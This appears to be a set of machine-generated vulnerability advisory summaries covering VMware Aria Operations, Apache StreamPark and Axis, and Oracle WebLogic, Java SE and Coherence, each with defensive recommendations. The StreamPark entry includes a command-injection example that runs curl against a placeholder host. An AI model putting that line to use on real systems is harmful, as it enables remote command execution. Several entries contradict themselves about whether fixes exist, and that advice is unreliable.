Thiscodecc

Name of the Vulnerable Software and Affected Versions: VMware Aria Operations (affected versions not specified) Description: The issue is related to a local privilege escalation vulnerability in VMware Aria Operations. A malicious actor with local administrative privileges can exploit this vulnerability to escalate privileges to the root user on the device running VMware Aria Operations. The vulnerability is associated with errors in privilege management. Recommendations: At the moment, there is no information about a newer version that contains a fix for this vulnerability.

Name of the Vulnerable Software and Affected Versions: VMware Aria Operations (affected versions not specified) Description: The issue is related to errors in privilege management in the VMware Aria Operations tool, which can be exploited to escalate privileges. A malicious actor with local administrative privileges can insert malicious commands into the properties file to gain root user access on the device running VMware Aria Operations. Recommendations: At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** streampark-console versions prior to 2.1.4 **Description** The issue arises from the lack of validation of the sort field sent from the front-end to the back-end, which is used to generate SQL queries. This poses a risk of SQL injection, potentially leading to data leakage. An attacker must first successfully log into the system to exploit this issue. The impact is considered low since no data can be written through this vulnerability. **Recommendations** For versions prior to 2.1.4, upgrade to version 2.1.4 to block such parameters and mitigate the risk.

**Name of the Vulnerable Software and Affected Versions** VMware Aria Operations (affected versions not specified) **Description** The issue is related to a local privilege escalation, where a malicious actor with administrative access to the local system can escalate privileges to 'root'. This is due to insufficient access control in the monitoring tool of the virtual infrastructure. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Apache Axis versions through 1.3 **Description** The issue is related to an Improper Input Validation vulnerability in Apache Axis, which allows users with access to the admin service to perform possible Server-Side Request Forgery (SSRF). This could potentially lead to unauthorized access to internal resources. The estimated number of potentially affected devices worldwide is not specified. There is no information about real-world incidents where this issue was exploited. **Recommendations** As a temporary workaround, consider migrating to a different SOAP engine, such as Apache Axis 2/Java. Alternatively, use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. Note that the Apache Axis project does not expect to create an Axis 1.x release fixing this problem.

**Name of the Vulnerable Software and Affected Versions** Apache StreamPark versions prior to 2.1.4 **Description** The issue is related to incorrect handling of the `<` element in the Project Module of Apache StreamPark, allowing for remote command execution. The vulnerability can be exploited by inserting commands, such as using the `<` operator to execute arbitrary commands, for example, `< (curl http://xxx.com )`. The risk level of this vulnerability is considered low, as it requires the attacker to have system-level permissions and log in to the StreamPark system. **Recommendations** For versions prior to 2.1.4, upgrade to version 2.1.4 to resolve the issue, as the `<` operator will be blocked in this version.

**Name of the Vulnerable Software and Affected Versions** Oracle Java SE versions 8u381 through 8u381-perf Oracle GraalVM Enterprise Edition versions 20.3.11 through 21.3.7 **Description** The vulnerability in the Oracle Java SE and Oracle GraalVM Enterprise Edition product is related to the CORBA component. It allows an unauthenticated attacker with network access via CORBA to compromise the system. Successful attacks can result in unauthorized update, insert, or delete access to some of the accessible data. This vulnerability can only be exploited by supplying data to APIs in the specified component without using untrusted Java Web Start applications or untrusted Java applets, such as through a web service. **Recommendations** For Oracle Java SE versions 8u381 through 8u381-perf, consider disabling the CORBA component until a patch is available. For Oracle GraalVM Enterprise Edition versions 20.3.11 through 21.3.7, restrict access to the CORBA component to minimize the risk of exploitation. As a temporary workaround, consider restricting the use of APIs in the specified component without using untrusted Java Web Start applications or untrusted Java applets. At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** VMware Aria Operations (affected versions not specified) **Description** The issue is related to insecure privilege management in VMware Aria Operations, allowing a malicious actor with administrative access to the local system to escalate privileges to 'root'. This could enable the execution of arbitrary code with root privileges. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** VMware Aria Operations (affected versions not specified) **Description** The issue is related to a Local privilege escalation vulnerability in VMware Aria Operations. A malicious actor with administrative privileges in the Aria Operations application can gain root access to the underlying operating system. The vulnerability is also associated with insufficient access control in the virtual infrastructure monitoring tool. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** VMware Aria Operations (affected versions not specified) **Description** The issue is related to insufficient access control in the VMware Aria Operations tool, which can be exploited to execute arbitrary code and escalate privileges. A malicious actor with administrative access to the local system can escalate privileges to 'root'. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.2.1.3.0 through 12.2.1.4.0 Oracle WebLogic Server version 14.1.1.0.0 **Description** The issue is related to errors in handling input data in the Core component of the Oracle WebLogic Server. It allows an unauthenticated attacker with network access via T3 to compromise the server. Successful attacks can result in unauthorized access to critical data or complete access to all accessible data on the Oracle WebLogic Server. **Recommendations** For Oracle WebLogic Server versions 12.2.1.3.0 through 12.2.1.4.0, update to a version that includes the fix for this issue. For Oracle WebLogic Server version 14.1.1.0.0, update to a version that includes the fix for this issue. As a temporary workaround, consider restricting access to the T3 protocol to minimize the risk of exploitation.

**Name of the Vulnerable Software and Affected Versions** VMware vRealize Operations (vROps) (affected versions not specified) **Description** The issue is related to insufficient authentication of executed requests in the vRealize Operations (vROps) tool, allowing a remote attacker to perform a CSRF attack. This could enable a malicious user to execute actions on the vROps platform on behalf of an authenticated victim user. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.2.1.3.0 through 12.2.1.4.0 Oracle WebLogic Server version 14.1.1.0.0 **Description** The issue is related to insufficient input validation in the Core component of Oracle WebLogic Server, part of the Oracle Fusion Middleware platform. This can be exploited by a remote attacker to disclose sensitive information. Successful attacks can result in unauthorized access to critical data or complete access to all accessible data on the Oracle WebLogic Server. The vulnerability can be easily exploited by an unauthenticated attacker with network access via IIOP. **Recommendations** For Oracle WebLogic Server versions 12.2.1.3.0 and 12.2.1.4.0, update to a version that includes the fix for this issue. For Oracle WebLogic Server version 14.1.1.0.0, update to a version that includes the fix for this issue. As a temporary workaround, consider restricting network access via IIOP to minimize the risk of exploitation.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.2.1.3.0 through 12.2.1.4.0 Oracle WebLogic Server version 14.1.1.0.0 **Description** The issue is related to insufficient input validation in the Core component of Oracle WebLogic Server, allowing an unauthenticated attacker with network access via T3, IIOP to compromise the server. Successful attacks can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. It is estimated that millions of servers worldwide are affected, with 166,000 in Brazil alone. **Recommendations** For Oracle WebLogic Server versions 12.2.1.3.0 through 12.2.1.4.0, update to a version that includes the fix released by Oracle on January 24. For Oracle WebLogic Server version 14.1.1.0.0, update to a version that includes the fix released by Oracle on January 24. As a temporary workaround, consider restricting access to the T3 and IIOP protocols to minimize the risk of exploitation.

**Name of the Vulnerable Software and Affected Versions** vRealize Operations (vROps) (affected versions not specified) **Description** The issue is related to improper privilege management in vRealize Operations, which can lead to a privilege escalation. This allows a remote attacker to potentially elevate their privileges. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** vRealize Operations versions (affected versions not specified) **Description** The issue is related to a broken access control vulnerability in the VMware vRealize Operations tool, which can lead to information disclosure. This vulnerability may allow a remote attacker to disclose protected information. The severity of this issue is considered moderate. **Recommendations** At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Oracle Coherence versions 3.7.1.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 **Description** The issue is related to insufficient input validation in the Core component of Oracle Coherence, allowing an unauthenticated attacker with network access via T3 or IIOP protocols to compromise Oracle Coherence. Successful attacks can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Coherence. **Recommendations** For versions 3.7.1.0, 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0, consider restricting network access via T3 and IIOP protocols to minimize the risk of exploitation. As a temporary workaround, limit the ability of remote attackers to cause a hang or crash of Oracle Coherence by implementing additional security measures, such as network segmentation or intrusion detection systems. At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.2.1.4.0 through 14.1.1.0.0 **Description** The issue is related to insufficient input validation in the Sample apps component of Oracle WebLogic Server, allowing an unauthenticated attacker with network access via HTTP to compromise the server. Successful attacks require human interaction from a person other than the attacker and may significantly impact additional products. This can result in unauthorized update, insert, or delete access to some of Oracle WebLogic Server's accessible data, as well as unauthorized read access to a subset of the server's accessible data. **Recommendations** For versions 12.2.1.4.0 and 14.1.1.0.0, update to a version that includes the fix for this issue, as no specific workaround is provided for these versions. At the moment, there is no information about a newer version that contains a fix for this vulnerability.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.1.3.0.0 through 12.2.1.4.0 Oracle WebLogic Server version 14.1.1.0.0 **Description** The issue is related to insufficient input validation in the Oracle WebLogic Server Core component. This can be exploited by a remote attacker to gain unauthorized access to read, modify, or delete data, or to cause a denial of service using T3 network protocols. Successful attacks can result in unauthorized update, insert, or delete access to some of Oracle WebLogic Server's accessible data and can cause a partial denial of service. **Recommendations** For Oracle WebLogic Server versions 12.1.3.0.0 through 12.2.1.4.0, update to a version that includes the fix for this issue. For Oracle WebLogic Server version 14.1.1.0.0, update to a version that includes the fix for this issue. As a temporary workaround, consider restricting access to the T3 protocol to minimize the risk of exploitation.

**Name of the Vulnerable Software and Affected Versions** Oracle WebLogic Server versions 12.2.1.4.0 through 14.1.1.0.0 **Description** A vulnerability in the Oracle WebLogic Server product allows an unauthenticated attacker with network access via HTTP to compromise the server. Successful attacks can result in unauthorized access to critical data or complete access to all accessible data. The issue is related to insufficient input validation in the Core component of the server, which can be exploited by an attacker using HTTP protocols. **Recommendations** For versions 12.2.1.4.0 and 14.1.1.0.0, update to a version that includes the fix for this issue. As a temporary workaround, consider restricting access to the HTTP endpoint to minimize the risk of exploitation. Avoid using the vulnerable component until a patch is available. At the moment, there is no information about a newer version that contains a fix for this vulnerability.